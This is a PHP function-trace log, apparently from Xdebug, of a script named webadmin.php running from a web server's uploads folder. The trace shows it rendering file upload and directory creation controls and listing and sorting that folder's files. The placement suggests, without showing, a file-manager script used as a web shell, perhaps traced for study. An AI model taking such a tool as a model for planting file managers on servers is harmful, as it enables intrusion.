5	165	0	0.008558	799808	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'/var/www/html/uploads/'	2	NULL
5	165	1	0.008573	800080
5	165	R			'/var/www/html/uploads/'
4	164	1	0.008588	799968
4	164	R			'/var/www/html/uploads/'
4	166	0	0.008603	799936	word	1		/var/www/html/uploads/webadmin.php	1440	1	'change'
5	167	0	0.008616	799936	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'change'	2	'UTF-8'
5	167	1	0.008630	800208
5	167	R			'change'
4	166	1	0.008644	800096
4	166	R			'change'
3	159	1	0.008658	799616
3	168	0	0.008666	799616	is_writable	0		/var/www/html/uploads/webadmin.php	1205	1	'/var/www/html/uploads/'
3	168	1	0.008682	799656
3	168	R			TRUE
3	169	0	0.008695	799616	upload_box	1		/var/www/html/uploads/webadmin.php	1206	0
4	170	0	0.008708	799680	word	1		/var/www/html/uploads/webadmin.php	1452	1	'file'
5	171	0	0.008721	799680	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'File'	2	'UTF-8'
5	171	1	0.008736	799952
5	171	R			'File'
4	170	1	0.008753	799840
4	170	R			'File'
4	172	0	0.008767	799808	word	1		/var/www/html/uploads/webadmin.php	1454	1	'upload'
5	173	0	0.008780	799808	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'upload'	2	'UTF-8'
5	173	1	0.008794	800080
5	173	R			'upload'
4	172	1	0.008808	799968
4	172	R			'upload'
3	169	1	0.008821	799616
3	174	0	0.008828	799616	create_box	1		/var/www/html/uploads/webadmin.php	1207	0
4	175	0	0.008840	799776	word	1		/var/www/html/uploads/webadmin.php	1467	1	'file'
5	176	0	0.008853	799776	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'File'	2	'UTF-8'
5	176	1	0.008867	800048
5	176	R			'File'
4	175	1	0.008883	799936
4	175	R			'File'
4	177	0	0.008896	799840	word	1		/var/www/html/uploads/webadmin.php	1468	1	'directory'
5	178	0	0.008922	799840	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'Directory'	2	'UTF-8'
5	178	1	0.008938	800112
5	178	R			'Directory'
4	177	1	0.008952	800000
4	177	R			'Directory'
4	179	0	0.008967	800000	word	1		/var/www/html/uploads/webadmin.php	1471	1	'create'
5	180	0	0.008979	800000	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'create'	2	'UTF-8'
5	180	1	0.008994	800272
5	180	R			'create'
4	179	1	0.009007	800160
4	179	R			'create'
3	174	1	0.009021	799616
3	181	0	0.009028	799616	sortlist	1		/var/www/html/uploads/webadmin.php	1213	3	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]	'filename'	FALSE
3		A						/var/www/html/uploads/webadmin.php	907	$dirs = []
3		A						/var/www/html/uploads/webadmin.php	908	$files = []
3		A						/var/www/html/uploads/webadmin.php	910	$i = 0
4	182	0	0.009131	799616	sizeof	0		/var/www/html/uploads/webadmin.php	910	1	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	182	1	0.009200	799648
4	182	R			6
3		A						/var/www/html/uploads/webadmin.php	912	$files[] = ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
3		A						/var/www/html/uploads/webadmin.php	910	$i++
4	183	0	0.009252	799992	sizeof	0		/var/www/html/uploads/webadmin.php	910	1	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	183	1	0.009320	800024
4	183	R			6
3		A						/var/www/html/uploads/webadmin.php	911	$dirs[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/webadmin.php	910	$i++
4	184	0	0.009369	800368	sizeof	0		/var/www/html/uploads/webadmin.php	910	1	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	184	1	0.009436	800400
4	184	R			6
3		A						/var/www/html/uploads/webadmin.php	911	$dirs[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/webadmin.php	910	$i++
4	185	0	0.009500	800368	sizeof	0		/var/www/html/uploads/webadmin.php	910	1	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	185	1	0.009568	800400
4	185	R			6
3		A						/var/www/html/uploads/webadmin.php	912	$files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/webadmin.php	910	$i++
4	186	0	0.009617	800368	sizeof	0		/var/www/html/uploads/webadmin.php	910	1	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	186	1	0.009684	800400
4	186	R			6
3		A						/var/www/html/uploads/webadmin.php	911	$dirs[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/webadmin.php	910	$i++
4	187	0	0.009732	800368	sizeof	0		/var/www/html/uploads/webadmin.php	910	1	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	187	1	0.009799	800400
4	187	R			6
3		A						/var/www/html/uploads/webadmin.php	912	$files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
3		A						/var/www/html/uploads/webadmin.php	910	$i++
4	188	0	0.009847	800368	sizeof	0		/var/www/html/uploads/webadmin.php	910	1	[0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4	188	1	0.009914	800400
4	188	R			6
4	189	0	0.009927	800392	sizeof	0		/var/www/html/uploads/webadmin.php	915	1	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	189	1	0.009969	800424
4	189	R			3
4	190	0	0.009982	800392	quicksort	1		/var/www/html/uploads/webadmin.php	915	4	[0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	0	2	'filename'
